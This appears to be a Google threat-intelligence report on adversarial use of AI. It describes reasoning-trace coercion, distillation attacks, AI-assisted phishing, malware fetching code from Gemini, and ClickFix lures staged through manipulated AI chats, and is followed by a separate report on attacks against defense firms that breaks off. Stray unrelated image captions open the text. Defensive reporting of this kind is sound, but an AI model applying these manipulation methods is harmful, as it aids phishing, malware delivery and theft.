This is what Emoji Dick — the translation of Herman Melville’s Moby Dick into emoji — looks like. Source

Yurina Noguchi, 32, “married” Klaus, an AI character created by ChatGPT. Source

Introduction

In the final quarter of 2025, Google Threat Intelligence Group (GTIG) observed threat actors increasingly integrating artificial intelligence (AI) to accelerate the attack lifecycle, achieving productivity gains in reconnaissance, social engineering, and malware development. This report serves as an update to our November 2025 findings regarding the advances in threat actor usage of AI tools.

By identifying these early indicators and offensive proofs of concept, GTIG aims to arm defenders with the intelligence necessary to anticipate the next phase of AI-enabled threats, proactively thwart malicious activity, and continually strengthen both our classifiers and model.

Executive Summary

Google DeepMind and GTIG have identified an increase in model extraction attempts or "distillation attacks," a method of intellectual property theft that violates Google's terms of service. Throughout this report we've noted steps we've taken to thwart malicious activity, including Google detecting, disrupting, and mitigating model extraction activity. While we have not observed direct attacks on frontier models or generative AI products from advanced persistent threat (APT) actors, we observed and mitigated frequent model extraction attacks from private sector entities all over the world and researchers seeking to clone proprietary logic. 

For government-backed threat actors, large language models (LLMs) have become essential tools for technical research, targeting, and the rapid generation of nuanced phishing lures. This quarterly report highlights how threat actors from the Democratic People's Republic of Korea (DPRK), Iran, the People's Republic of China (PRC), and Russia operationalized AI in late 2025 and improves our understanding of how adversarial misuse of generative AI shows up in campaigns we disrupt in the wild. GTIG has not yet observed APT or information operations (IO) actors achieving breakthrough capabilities that fundamentally alter the threat landscape.

This report specifically examines:

• Model Extraction Attacks: "Distillation attacks" are on the rise as a method for intellectual property theft over the last year.
• AI-Augmented Operations: Real-world case studies demonstrate how groups are streamlining reconnaissance and rapport-building phishing.
• Agentic AI: Threat actors are beginning to show interest in building agentic AI capabilities to support malware and tooling development. 
• AI-Integrated Malware: There are new malware families, such as HONESTCUE, that experiment with using Gemini's application programming interface (API) to generate code that enables download and execution of second-stage malware.
• Underground "Jailbreak" Ecosystem: Malicious services like Xanthorox are emerging in the underground, claiming to be independent models while actually relying on jailbroken commercial APIs and open-source Model Context Protocol (MCP) servers.

At Google, we are committed to developing AI boldly and responsibly, which means taking proactive steps to disrupt malicious activity by disabling the projects and accounts associated with bad actors, while continuously improving our models to make them less susceptible to misuse. We also proactively share industry best practices to arm defenders and enable stronger protections across the ecosystem. Throughout this report, we note steps we've taken to thwart malicious activity, including disabling assets and applying intelligence to strengthen both our classifiers and model so it's protected from misuse moving forward. Additional details on how we're protecting and defending Gemini can be found in the white paper "Advancing Gemini’s Security Safeguards." 

Direct Model Risks: Disrupting Model Extraction Attacks

As organizations increasingly integrate LLMs into their core operations, the proprietary logic and specialized training of these models have emerged as high-value targets. Historically, adversaries seeking to steal high-tech capabilities used conventional computer-enabled intrusion operations to compromise organizations and steal data containing trade secrets. For many AI technologies where LLMs are offered as services, this approach is no longer required; actors can use legitimate API access to attempt to "clone" select AI model capabilities.

During 2025, we did not observe any direct attacks on frontier models from tracked APT or information operations (IO) actors. However, we did observe model extraction attacks, also known as distillation attacks, on our AI models, to gain insights into a model's underlying reasoning and chain-of-thought processes.

What Are Model Extraction Attacks? 

Model extraction attacks (MEA) occur when an adversary uses legitimate access to systematically probe a mature machine learning model to extract information used to train a new model. Adversaries engaging in MEA use a technique called knowledge distillation (KD) to take information gleaned from one model and transfer the knowledge to another. For this reason, MEA are frequently referred to as "distillation attacks."

Model extraction and subsequent knowledge distillation enable an attacker to accelerate AI model development quickly and at a significantly lower cost. This activity effectively represents a form of intellectual property (IP) theft.

Knowledge distillation (KD) is a common machine learning technique used to train "student" models from pre-existing "teacher" models. This often involves querying the teacher model for problems in a particular domain, and then performing supervised fine tuning (SFT) on the result or utilizing the result in other model training procedures to produce the student model. There are legitimate uses for distillation, and Google Cloud has existing offerings to perform distillation. However, distillation from Google's Gemini models without permission is a violation of our Terms of Service, and Google continues to develop techniques to detect and mitigate these attempts.

Google DeepMind and GTIG identified and disrupted model extraction attacks, specifically attempts at model stealing and capability extraction emanating from researchers and private sector companies globally.

Case Study: Reasoning Trace Coercion

A common target for attackers is Gemini's exceptional reasoning capability. While internal reasoning traces are typically summarized before being delivered to users, attackers have attempted to coerce the model into outputting full reasoning processes.

One identified attack instructed Gemini that the "... language used in the thinking content must be strictly consistent with the main language of the user input."

Analysis of this campaign revealed:

Model Extraction and Distillation Attack Risks

Model extraction and distillation attacks do not typically represent a risk to average users, as they do not threaten the confidentiality, availability, or integrity of AI services. Instead, the risk is concentrated among model developers and service providers.

Organizations that provide AI models as a service should monitor API access for extraction or distillation patterns. For example, a custom model tuned for financial data analysis could be targeted by a commercial competitor seeking to create a derivative product, or a coding model could be targeted by an adversary wishing to replicate capabilities in an environment without guardrails.

Highlights of AI-Augmented Adversary Activity

A consistent finding over the past year is that government-backed attackers misuse Gemini for coding and scripting tasks, gathering information about potential targets, researching publicly known vulnerabilities, and enabling post-compromise activities. In Q4 2025, GTIG's understanding of how these efforts translate into real-world operations improved as we saw direct and indirect links between threat actor misuse of Gemini and activity in the wild.

Supporting Reconnaissance and Target Development 

APT actors used Gemini to support several phases of the attack lifecycle, including a focus on reconnaissance and target development to facilitate initial compromise. This activity underscores a shift toward AI-augmented phishing enablement, where the speed and accuracy of LLMs can bypass the manual labor traditionally required for victim profiling. Beyond generating content for phishing lures, LLMs can serve as a strategic force multiplier during the reconnaissance phase of an attack, allowing threat actors to rapidly synthesize open-source intelligence (OSINT) to profile high-value targets, identify key decision-makers within defense sectors, and map organizational hierarchies. By integrating these tools into their workflow, threat actors can move from initial reconnaissance to active targeting at a faster pace and broader scale.  

• UNC6418, an unattributed threat actor, misused Gemini to conduct targeted intelligence gathering, specifically seeking out sensitive account credentials and email addresses. Shortly after, GTIG observed the threat actor target all these accounts in a phishing campaign focused on Ukraine and the defense sector. Google has taken action against this actor by disabling the assets associated with this activity.

• Temp.HEX, a PRC-based threat actor, misused Gemini and other AI tools to compile detailed information on specific individuals, including targets in Pakistan, and to collect operational and structural data on separatist organizations in various countries. While we did not see direct targeting as a result of this research, shortly after the threat actor included similar targets in Pakistan in their campaign. Google has taken action against this actor by disabling the assets associated with this activity.

Phishing Augmentation

Defenders and targets have long relied on indicators such as poor grammar, awkward syntax, or lack of cultural context to help identify phishing attempts. Increasingly, threat actors now leverage LLMs to generate hyper-personalized, culturally nuanced lures that can mirror the professional tone of a target organization or local language. 

This capability extends beyond simple email generation into "rapport-building phishing," where models are used to maintain multi-turn, believable conversations with victims to build trust before a malicious payload is ever delivered. By lowering the barrier to entry for non-native speakers and automating the creation of high-quality content, adversaries can largely erase those "tells" and improve the effectiveness of their social engineering efforts.

• The Iranian government-backed actor APT42 leveraged generative AI models, including Gemini, to significantly augment reconnaissance and targeted social engineering. APT42 misuses Gemini to search for official emails for specific entities and conduct reconnaissance on potential business partners to establish a credible pretext for an approach. This includes attempts to enumerate the official email addresses for specific entities and to conduct research to establish a credible pretext for an approach. By providing Gemini with the biography of a target, APT42 misused Gemini to craft a good persona or scenario to get engagement from the target. As with many threat actors tracked by GTIG, APT42 uses Gemini to translate into and out of local languages, as well as to better understand non-native-language phrases and references. Google has taken action against this actor by disabling the assets associated with this activity.

• The North Korean government-backed actor UNC2970 has consistently focused on defense targeting and impersonating corporate recruiters in their campaigns. The group used Gemini to synthesize OSINT and profile high-value targets to support campaign planning and reconnaissance. This actor's target profiling included searching for information on major cybersecurity and defense companies and mapping specific technical job roles and salary information. This activity blurs the distinction between routine professional research and malicious reconnaissance, as the actor gathers the necessary components to create tailored, high-fidelity phishing personas and identify potential soft targets for initial compromise. Google has taken action against this actor by disabling the assets associated with this activity. 

Threat Actors Continue to Use AI to Support Coding and Tooling Development 

State-sponsored actors continue to misuse Gemini to enhance all stages of their operations, from reconnaissance and phishing lure creation to command-and-control (C2 or C&C) development and data exfiltration. We have also observed activity demonstrating an interest in using agentic AI capabilities to support campaigns, such as prompting Gemini with an expert cybersecurity persona, or attempting to create an AI-integrated code auditing capability.

APT31 employed a highly structured approach by prompting Gemini with an expert cybersecurity persona to automate the analysis of vulnerabilities and generate targeted testing plans. The PRC-based threat actor fabricated a scenario, in one case trialing Hexstrike MCP tooling, and directing the model to analyze remote code execution (RCE), web application firewall (WAF) bypass techniques, and SQL injection test results against specific US-based targets. This automated intelligence gathering to identify technological vulnerabilities and organizational defense weaknesses. This activity explicitly blurs the line between a routine security assessment query and a targeted malicious reconnaissance operation. Google has taken action against this actor by disabling the assets associated with this activity.

UNC795, a PRC-based actor, relied heavily on Gemini throughout their entire attack lifecycle. GTIG observed the group consistently engaging with Gemini multiple days a week to troubleshoot their code, conduct research, and generate technical capabilities for their intrusion activity. The threat actor's activity triggered safety systems, and Gemini did not comply with the actor's attempts to create policy-violating capabilities. 

The group also employed Gemini to create an AI-integrated code auditing capability, likely demonstrating an interest in agentic AI utilities to support their intrusion activity. Google has taken action against this actor by disabling the assets associated with this activity.

We observed activity likely associated with the PRC-based threat actor APT41, which leveraged Gemini to accelerate the development and deployment of malicious tooling, including for knowledge synthesis, real-time troubleshooting, and code translation. In particular, multiple times the actor gave Gemini open-source tool README pages and asked for explanations and use case examples for specific tools. Google has taken action against this actor by disabling the assets associated with this activity.

In addition to leveraging Gemini for the aforementioned social engineering campaigns, the Iranian threat actor APT42 uses Gemini as an engineering platform to accelerate the development of specialized malicious tools. The threat actor is actively engaged in developing new malware and offensive tooling, leveraging Gemini for debugging, code generation, and researching exploitation techniques. Google has taken action against this actor by disabling the assets associated with this activity.

Using Gemini to Support Information Operations

GTIG continues to observe IO actors use Gemini for productivity gains (research, content creation, localization, etc.), which aligns with their previous use of Gemini. We have identified Gemini activity that indicates threat actors are soliciting the tool to help create articles, generate assets, and aid them in coding. However, we have not identified this generated content in the wild. None of these attempts have created breakthrough capabilities for IO campaigns. Threat actors from China, Iran, Russia, and Saudi Arabia are producing political satire and propaganda to advance specific ideas across both digital platforms and physical media, such as printed posters.

Continuing Experimentation with AI-Enabled Malware 

GTIG continued to observe threat actors experiment with AI to implement novel capabilities in malware families in late 2025. While we have not encountered experimental AI-enabled techniques resulting in revolutionary paradigm shifts in the threat landscape, these proof-of-concept malware families are early indicators of how threat actors can implement AI techniques as part of future operations. We expect this exploratory testing will increase in the future.

In addition to continued experimentation with novel capabilities, throughout late 2025 GTIG observed threat actors integrating conventional AI-generated capabilities into their intrusion operations such as the COINBAIT phishing kit. We expect threat actors will continue to incorporate AI throughout the attack lifecycle including: supporting malware creation, improving pre-existing malware, researching vulnerabilities, conducting reconnaissance, and/or generating lure content.

Outsourcing Functionality: HONESTCUE

In September 2025, GTIG observed malware samples, which we track as HONESTCUE, leveraging Gemini's API to outsource functionality generation. Our examination of HONESTCUE malware samples indicates the adversary's incorporation of AI is likely designed to support a multi-layered approach to obfuscation by undermining traditional network-based detection and static analysis. 

HONESTCUE is a downloader and launcher framework that sends a prompt via Google Gemini's API and receives C# source code as the response. Notably, HONESTCUE shares capabilities similar to PROMPTFLUX's "just-in-time" (JIT) technique that we previously observed; however, rather than leveraging an LLM to update itself, HONESTCUE calls the Gemini API to generate code that operates the "stage two" functionality, which downloads and executes another piece of malware. Additionally, the fileless secondary stage of HONESTCUE takes the C# source code received from the Gemini API and uses the legitimate .NET CSharpCodeProvider framework to compile and execute the payload directly in memory. This approach leaves no payload artifacts on the disk. We have also observed the threat actor use content delivery networks (CDNs) like Discord CDN to host the final payloads.

We have not associated this malware with any existing clusters of threat activity; however, we suspect this malware is being developed by developers who possess a modicum of technical expertise. Specifically, the small iterative changes across many samples as well as the single VirusTotal submitter, potentially testing antivirus capabilities, suggests a singular actor or small group. Additionally, the use of Discord to test payload delivery and the submission of Discord Bots indicates an actor with limited technical sophistication. The consistency and clarity of the architecture coupled with the iterative progression of the examined malware samples strongly suggest this is a single actor or small group likely in the proof-of-concept stage of implementation. 

HONESTCUE's use of a hard-coded prompt is not malicious in its own right, and, devoid of any context related to malware, it is unlikely that the prompt would be considered "malicious." Outsourcing a facet of malware functionality and leveraging an LLM to develop seemingly innocuous code that fits into a bigger, malicious construct demonstrates how threat actors will likely embrace AI applications to augment their campaigns while bypassing security guardrails.

AI-Generated Phishing Kit: COINBAIT

In November 2025, GTIG identified COINBAIT, a phishing kit, whose construction was likely accelerated by AI code generation tools, masquerading as a major cryptocurrency exchange for credential harvesting. Based on direct infrastructure overlaps and the use of attributed domains, we assess with high confidence that a portion of this activity overlaps with UNC5356, a financially motivated threat cluster that makes use of SMS- and phone-based phishing campaigns to target clients of financial organizations, cryptocurrency-related companies, and various other popular businesses and services. 

An examination of the malware samples indicates the kit was built using the AI-powered platform Lovable AI based on the use of the lovableSupabase client and lovable.app for image hosting.

• By hosting content on a legitimate, trusted service, the actor increases the likelihood of bypassing network security filters that would otherwise block the suspicious primary domain.

• The phishing kit was wrapped in a full React Single-Page Application (SPA) with complex state management and routing. This complexity is indicative of code generated from high-level prompts (e.g., "Create a Coinbase-style UI for wallet recovery") using a framework like Lovable AI. 

• Another key indicator of LLM use is the presence of verbose, developer-oriented logging messages directly within the malware's source code. These messages—consistently prefixed with "? Analytics:"—provide a real-time trace of the kit's malicious tracking and data exfiltration activities and serve as a unique fingerprint for this code family.

We also observed the group employ infrastructure and evasion tactics for their operations, including proxying phishing domains through Cloudflare to obscure the attacker IP addresses and  hotlinking image assets in phishing pages directly from Lovable AI. 

The introduction of the COINBAIT phishing kit would represent an evolution in UNC5356's tooling, demonstrating a shift toward modern web frameworks and legitimate cloud services to enhance the sophistication and scalability of their social engineering campaigns. However, there is at least some evidence to suggest that COINBAIT may be a service provided to multiple disparate threat actors.

Cyber Crime Use of AI Tooling

In addition to misusing existing AI-enabled tools and services across the industry, there is a growing interest and marketplace for AI tools and services purpose-built to enable illicit activities. Tools and services offered via underground forums can enable low-level actors to augment the frequency, scope, efficacy, and complexity of their intrusions despite their limited technical acumen and financial resources. While financially motivated threat actors continue experimenting, they have not yet made breakthroughs in developing AI tooling. 

Threat Actors Leveraging AI Services for Social Engineering in 'ClickFix' Campaigns

While not a new malware technique, GTIG observed instances in which threat actors abused the public's trust in generative AI services to attempt to deliver malware. GTIG identified a novel campaign where threat actors are leveraging the public sharing feature of generative AI services, including Gemini, to host deceptive social engineering content. This activity, first observed in early December 2025, attempts to trick users into installing malware via the well-established "ClickFix" technique. This ClickFix technique is used to socially engineer users to copy and paste a malicious command into the command terminal.

The threat actors were able to bypass safety guardrails to stage malicious instructions on how to perform a variety of tasks on macOS, ultimately distributing variants of ATOMIC, an information stealer that targets the macOS environment and has the ability to collect browser data, cryptocurrency wallets, system information, and files in the Desktop and Documents folders. The threat actors behind this campaign have used a wide range of AI chat platforms to host their malicious instructions, including ChatGPT, CoPilot, DeepSeek, Gemini, and Grok.

The campaign's objective is to lure users, primarily those on Windows and macOS systems, into manually executing malicious commands. The attack chain operates as follows:

• A threat actor first crafts a malicious command line that, if copied and pasted by a victim, would infect them with malware.

• Next, the threat actor manipulates the AI to create realistic-looking instructions to fix a common computer issue (e.g., clearing disk space or installing software), but gives the malicious command line to the AI as the solution.

• Gemini and other AI tools allow a user to create a shareable link to specific chat transcripts so a specific AI response can be shared with others. The attacker now has a link to a malicious ClickFix landing page hosted on the AI service's infrastructure.

• The attacker purchases malicious advertisements or otherwise directs unsuspecting victims to the publicly shared chat transcript.

• The victim is fooled by the AI chat transcript and follows the instructions to copy a seemingly legitimate command-line script and paste it directly into their system's terminal. This command will download and install malware. Since the action is user initiated and uses built-in system commands, it may be harder for security software to detect and block.

There were different lures generated for Windows and MacOS, and the use of malicious advertising techniques for payload distribution suggests the targeting is likely fairly broad and opportunistic. 

This approach allows threat actors to leverage trusted domains to host their initial stage of instruction, relying on social engineering to carry out the final, highly destructive step of execution. While a widely used approach, this marks the first time GTIG observed the public sharing feature of AI services being abused as trusted domains.

Observations from the Underground Marketplace: Threat Actors Abusing AI API Keys

While legitimate AI services remain popular tools for threat actors, there is an enduring market for AI services specifically designed to support malicious activity. Current observations of English- and Russian-language underground forums indicates there is a persistent appetite for AI-enabled tools and services, which aligns with our previous assessment of these platforms. 

However, threat actors struggle to develop custom models and instead rely on mature models such as Gemini. For example, "Xanthorox" is an underground toolkit that advertises itself as a custom AI for cyber offensive purposes, such as autonomous code generation of malware and development of phishing campaigns. The model was advertised as a "bespoke, privacy preserving self-hosted AI" designed to autonomously generate malware, ransomware, and phishing content. However, our investigation revealed that Xanthorox is not a custom AI but actually powered by several third-party and commercial AI products, including Gemini.

This setup leverages a key abuse vector: the integration of multiple open-source AI products—specifically Crush, Hexstrike AI, LibreChat-AI, and Open WebUI—opportunistically leveraged via Model Context Protocol (MCP) servers to build an agentic AI service upon commercial models.

In order to misuse LLMs services for malicious operations in a scalable way, threat actors need API keys and resources that enable LLM integrations. This creates a hijacking risk for organizations with substantial cloud resources and AI resources. 

In addition, vulnerable open-source AI tools are commonly exploited to steal AI API keys from users, thus facilitating a thriving black market for unauthorized API resale and key hijacking, enabling widespread abuse, and incurring costs for the affected users. For example, the One API and New API platform, popular with users facing country-level censorship, are regularly harvested for API keys by attackers, exploiting publicly known vulnerabilities such as default credentials, insecure authentication, lack of rate limiting, XSS flaws, and API key exposure via insecure API endpoints.

Building AI Safely and Responsibly 

We believe our approach to AI must be both bold and responsible. That means developing AI in a way that maximizes the positive benefits to society while addressing the challenges. Guided by our AI Principles, Google designs AI systems with robust security measures and strong safety guardrails, and we continuously test the security and safety of our models to improve them. 

Our policy guidelines and prohibited use policies prioritize safety and responsible use of Google's generative AI tools. Google's policy development process includes identifying emerging trends, thinking end-to-end, and designing for safety. We continuously enhance safeguards in our products to offer scaled protections to users across the globe.  

At Google, we leverage threat intelligence to disrupt adversary operations. We investigate abuse of our products, services, users, and platforms, including malicious cyber activities by government-backed threat actors, and work with law enforcement when appropriate. Moreover, our learnings from countering malicious activities are fed back into our product development to improve safety and security for our AI models. These changes, which can be made to both our classifiers and at the model level, are essential to maintaining agility in our defenses and preventing further misuse.

Google DeepMind also develops threat models for generative AI to identify potential vulnerabilities and creates new evaluation and training techniques to address misuse. In conjunction with this research, Google DeepMind has shared how they're actively deploying defenses in AI systems, along with measurement and monitoring tools, including a robust evaluation framework that can automatically red team an AI vulnerability to indirect prompt injection attacks. 

Our AI development and Trust & Safety teams also work closely with our threat intelligence, security, and modelling teams to stem misuse.

The potential of AI, especially generative AI, is immense. As innovation moves forward, the industry needs security standards for building and deploying AI responsibly. That's why we introduced the Secure AI Framework (SAIF), a conceptual framework to secure AI systems. We've shared a comprehensive toolkit for developers with resources and guidance for designing, building, and evaluating AI models responsibly. We've also shared best practices for implementing safeguards, evaluating model safety, red teaming to test and secure AI systems, and our comprehensive prompt injection approach.

Working closely with industry partners is crucial to building stronger protections for all of our users. To that end, we're fortunate to have strong collaborative partnerships with numerous researchers, and we appreciate the work of these researchers and others in the community to help us red team and refine our defenses.

Google also continuously invests in AI research, helping to ensure AI is built responsibly, and that we're leveraging its potential to automatically find risks. Last year, we introduced Big Sleep, an AI agent developed by Google DeepMind and Google Project Zero, that actively searches and finds unknown security vulnerabilities in software. Big Sleep has since found its first real-world security vulnerability and assisted in finding a vulnerability that was imminently going to be used by threat actors, which GTIG was able to cut off beforehand. We're also experimenting with AI to not only find vulnerabilities, but also patch them. We recently introduced CodeMender, an experimental AI-powered agent using the advanced reasoning capabilities of our Gemini models to automatically fix critical code vulnerabilities. 

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included IOCs in a free GTI Collection for registered users.

About the Authors

Google Threat Intelligence Group focuses on identifying, analyzing, mitigating, and eliminating entire classes of cyber threats against Alphabet, our users, and our customers. Our work includes countering threats from government-backed actors, targeted zero-day exploits, coordinated information operations (IO), and serious cyber crime networks. We apply our intelligence to improve Google's defenses and protect our users and customers.

Introduction 

In modern warfare, the front lines are no longer confined to the battlefield; they extend directly into the servers and supply chains of the industry that safeguards the nation. Today, the defense sector faces a relentless barrage of cyber operations conducted by state-sponsored actors and criminal groups alike. In recent years, Google Threat Intelligence Group (GTIG) has observed several distinct areas of focus in adversarial targeting of the defense industrial base (DIB). While not exhaustive of all actors and means, some of the more prominent themes in the landscape today include: 

• Consistent effort has been dedicated to targeting defense entities fielding technologies on the battlefield in the Russia-Ukraine War. As next-generation capabilities are being operationalized in this environment, Russia-nexus threat actors and hacktivists are seeking to compromise defense contractors alongside military assets and systems, with a focus on organizations involved with unmanned aircraft systems (UAS). This includes targeting defense companies directly, using themes mimicking their products and systems in intrusions against military organizations and personnel. 

• Across global defense and aerospace firms, the direct targeting of employees and exploitation of the hiring process has emerged as a key theme. From the North Korean IT worker threat, to the spoofing of recruitment portals by Iranian espionage actors, to the direct targeting of defense contractors' personal emails, GTIG continues to observe a multifaceted threat landscape that centers around personnel, and often in a manner that evades traditional enterprise security visibility.    

• Among state-sponsored cyber espionage intrusions over the last two years analysed by GTIG, threat activity from China-nexus groups continues to represent by volume the most active threat to entities in the defense industrial base. While these intrusions continue to leverage an array of tactics, campaigns from actors such as UNC3886 and UNC5221 highlight how the targeting of edge devices and appliances as a means of initial access has increased as a tactic by China-nexus threat actors, and poses a significant risk to the defense and aerospace sector. In comparison to the Russia-nexus threats observed on the battlefield in Ukraine, these could support more preparatory access or R&D theft missions. 

• Lastly, contemporary national security strategy relies heavily on a secure supply chain. Since 2020, manufacturing has been the most represented sector across data leak sites (DLS) that GTIG tracks associated with ransomware and extortive activity. While dedicated defense and aerospace organizations represent a small fraction of similar activity, the broader manufacturing sector includes many companies that provide dual-use components for defense applications, and this statistic highlights the cyber risk the industrial base supply chain is exposed to. The ability to surge defense components in a wartime environment can be impacted, even when these intrusions are limited to IT networks. Additionally, the global resurgence of hacktivism, and actors carrying out hack and leak operations, DDoS attacks, or other forms of disruption, has impacted the defense industrial base. 

Across these themes we see further areas of commonality. Many of the chief state-sponsors of cyber espionage and hacktivist actors have shown an interest in autonomous vehicles and drones, as these platforms play an increasing role in modern warfare. Further, the “evasion of detection” trend first highlighted in the Mandiant M-Trends 2024 report continues, as actors focus on single endpoints and individuals, or carry out intrusions in a manner that seeks to avoid endpoint detection and response (EDR) tools altogether. All of this contributes to a contested and complex environment that challenges traditional detection strategies, requiring everyone from security practitioners to policymakers to think creatively in countering these threats. 

1. Longstanding Russian Targeting of Critical and Emerging Defense Technologies in Ukraine and Beyond 

Russian espionage actors have demonstrated a longstanding interest in Western defense entities. While Russia's full-scale invasion of Ukraine began in February 2022, the Russian government has long viewed the conflict as an extension of a broader campaign against Western encroachment into its sphere of influence, and has accordingly targeted both Ukrainian and Western military and defense-related entities via kinetic and cyber operations. 

Russia's use of cyber operations in support of military objectives in the war against Ukraine and beyond is multifaceted. On a tactical level, targeting has broadened to include individuals in addition to organizations in order to support frontline operations and beyond, likely due at least in part to the reliance on public and off-the-shelf technology rather than custom products. Russian threat actors have targeted secure messaging applications used by the Ukrainian military to communicate and orchestrate military operations, including via attempts to exfiltrate locally stored databases of these apps, such as from mobile devices captured during Russia's ongoing invasion of Ukraine. This compromise of individuals' devices and accounts poses a challenge in various ways—for example, such activity often occurs outside spaces that are traditionally monitored, meaning a lack of visibility for defenders in monitoring or detecting such threats. GTIG has also identified attempts to compromise users of battlefield management systems such as Delta and Kropyva, underscoring the critical role played by these systems in the orchestration of tactical efforts and dissemination of vital intelligence. 

More broadly, Russian espionage activity has also encompassed the targeting of Ukrainian and Western companies supporting Ukraine in the conflict or otherwise focused on developing and providing defensive capabilities for the West. This has included the use of infrastructure and lures themed around military equipment manufacturers, drone production and development, anti-drone defense systems, and surveillance systems, indicating the likely targeting of organizations with a need for such technologies.

APT44 (Sandworm, FROZENBARENTS)

APT44, attributed by multiple governments to Unit 74455 within the Russian Armed Forces' Main Intelligence Directorate (GRU), has attempted to exfiltrate information from Telegram and Signal encrypted messaging applications, likely via physical access to devices obtained during operations in Ukraine. While this activity extends back to at least 2023, we have continued to observe the group making these attempts. GTIG has also identified APT44 leveraging WAVESIGN, a Windows Batch script responsible for decrypting and exfiltrating data from Signal Desktop. Multiple governments have also reported on APT44's use of INFAMOUSCHISEL, malware designed to collect information from Android devices including system device information, commercial application information, and information from Ukrainian military apps. 

TEMP.Vermin

TEMP.Vermin, an espionage actor whose activity Ukraine's Computer Emergency Response Team (CERT-UA) has linked to security agencies of the so-called Luhansk People's Republic (LPR, also rendered as LNR), has deployed malware including VERMONSTER, SPECTRUM (publicly reported as Spectr), and FIRMACHAGENT via the use of lure content themed around drone production and development, anti-drone defense systems, and video surveillance security systems. Infrastructure leveraged by TEMP.Vermin includes domains masquerading as Telegram and involve broad aerospace themes including a domain that may be a masquerade of an Indian aerospace company focused on advanced drone technology.

UNC5125

UNC5125 has conducted highly targeted campaigns focusing on frontline drone units. Its collection efforts have included the use of a questionnaire hosted on Google Forms to conduct reconnaissance against prospective drone operators; the questionnaire purports to originate from Dronarium, a drone training academy, and solicits personal information from targets, notably including military unit information, telephone numbers, and preferred mobile messaging apps. UNC5125 has also conducted malware delivery operations via these messaging apps. In one instance, the cluster delivered the MESSYFORK backdoor (publicly reported as COOKBOX) to an UAV operator in Ukraine.

We also identified suspected UNC5125 activity leveraging Android malware we track as GREYBATTLE, which was delivered via a website spoofing a Ukrainian military artificial intelligence company. GREYBATTLE, a customized variant of the Hydra banking trojan, is designed to extract credentials and data from compromised devices.

Note: Android users with Google Play Protect enabled are protected against the aforementioned malware, and all known versions of the malicious apps identified throughout this report.

UNC5792

Since at least 2024, GTIG has identified this Russian espionage cluster exploiting secure messaging apps, targeting primarily Ukrainian military and government entities in addition to individuals and organizations in Moldova, Georgia, France, and the US. Notably, UNC5792 has compromised Signal accounts via the device-linking feature. Specifically, UNC5792 sent its targets altered "group invite" pages that redirected to malicious URLs crafted to link an actor-controlled device to the victim's Signal accounts allowing the threat actor to see victims’ message in real time. The cluster has also leveraged WhatsApp phishing pages and other domains masquerading as Ukrainian defense manufacturing and defense technology companies.

UNC4221

UNC4221, another suspected Russian espionage actor active since at least March 2022, has targeted secure messaging apps used by Ukrainian military personnel via tactics similar to those of UNC5792. For example, the cluster leveraged fake Signal group invites that redirect to a website crafted to elicit users to link their account to an actor-controlled Signal instance. UNC4221 has also leveraged WhatsApp phishing pages intended to collect geolocation data from targeted devices.

UNC4221 has targeted mobile applications used by the Ukrainian military in multiple instances, such as by leveraging Signal phishing kits masquerading as Kropyva, a tactical battlefield app used by the Armed Forces of Ukraine for a variety of combat functions including artillery guidance. Other Signal phishing domains used by UNC4221 masqueraded as a streaming service for UAVs used by the Ukrainian military. The cluster also leveraged the STALECOOKIE Android malware, which was designed to masquerade as an application for Delta, a situational awareness and battlefield management platform used by the Ukrainian military, to steal browser cookies.

UNC4221 has also conducted malware delivery operations targeting both Android and Windows devices. In one instance, the actor leveraged the "ClickFix" social engineering technique, which lured the target into copying and running malicious PowerShell commands via instructions referencing a Ukrainian defense manufacturer, in a likely attempt to deliver the TINYWHALE downloader. TINYWHALE in turn led to the download and execution of the MESHAGENT remote management software against a likely Ukrainian military entity.

UNC5976

Starting in January 2025, the suspected Russian espionage cluster UNC5976 conducted a phishing campaign delivering malicious RDP connection files. These files were configured to communicate with actor-controlled domains spoofing a Ukrainian telecommunications entity. Additional infrastructure likely used by UNC5976 included hundreds of domains spoofing defense contractors including companies headquartered in the UK, the US, Germany, France, Sweden, Norway, Ukraine, Turkey, and South Korea.

Wider UNC5976 phishing activity also included the use of drone-themed lure content, such as operational documentation for the ORLAN-15 UAV system, likely for credential harvesting efforts targeting webmail credentials.

UNC6096

In February 2025, GTIG identified the suspected Russian espionage cluster UNC6096 conducting malware delivery operations via WhatsApp Messenger using themes related to the Delta battlefield management platform. To target Windows users, the cluster delivered an archive file containing a malicious LNK file leading to the download of a secondary payload. Android devices were targeted via malware we track as GALLGRAB, a modified version of the publicly available "Android Gallery Stealer". GALLGRAB collects data that includes locally stored files, contact information, and potentially encrypted user data from specialized battlefield applications.

UNC5114

In October 2023, the suspected Russian espionage cluster UNC5114 delivered a variant of the publicly available Android malware CraxsRAT masquerading as an update for the Kropyva app, accompanied by a lure document mimicking official installation instructions.

Hacktivist Targeting of Military Drones 

A subset of pro-Russia hacktivist activity has focused on Ukraine’s use of drones on the battlefield. This likely reflects the critical role that drones have played in combat, as well as an attempt by pro-Russia hacktivist groups to claim to be influencing events on the ground. In late 2025, the pro-Russia hacktivist collective KillNet, for example, dedicated significant threat activity to this. After announcing the collective’s revitalization in June, the first threat activity claimed by the group was an attack allegedly disabling Ukraine’s ability to monitor its airspace for drone attacks. This focus continued throughout the year, culminating in a December announcement in which the group claimed to create a multifunctional platform featuring the mapping of key infrastructure like Ukraine’s drone production facilities based on compromised data. We further detail in the next section operations from pro-Russia hacktivists that have targeted defense sector employees.

2. Employees in the Crosshairs: Targeting and Exploitation of Personnel and HR Processes in the Defense Sector

Throughout 2025, adversaries of varying motivations have continued to target the "human layer" including within the DIB. By exploiting professional networking platforms, recruitment processes, and personal communications, threat actors attempt to bypass perimeter security controls to gain insider access or compromise personal devices. This creates a challenge for enterprise security teams, where much of this activity may take place outside the visibility of traditional security detections.

North Korea’s Insider Threat and Revenue Generation

Since at least 2019, the threat from the Democratic People’s Republic of Korea (DPRK) began evolving to incorporate internal infiltration via “IT workers” in addition to traditional network intrusion. This development, driven by both espionage requirements and the regime’s need for revenue generation, continued throughout 2025 with recent operations incorporating new publicly available tools. In addition to public reporting, GTIG has also observed evidence of IT workers applying to jobs at defense related organizations. 

• In June 2025, the US Department of Justice announced a disruption operation that included searches of 29 locations in 16 states suspected of being laptop farms and led to the arrest of a US facilitator and an indictment against eight international facilitators. According to the indictment, the accused successfully gained remote jobs at more than 100 US companies, including Fortune 500 companies. In one case, IT workers reportedly stole sensitive data from a California-based defense contractor that was developing AI technology. 

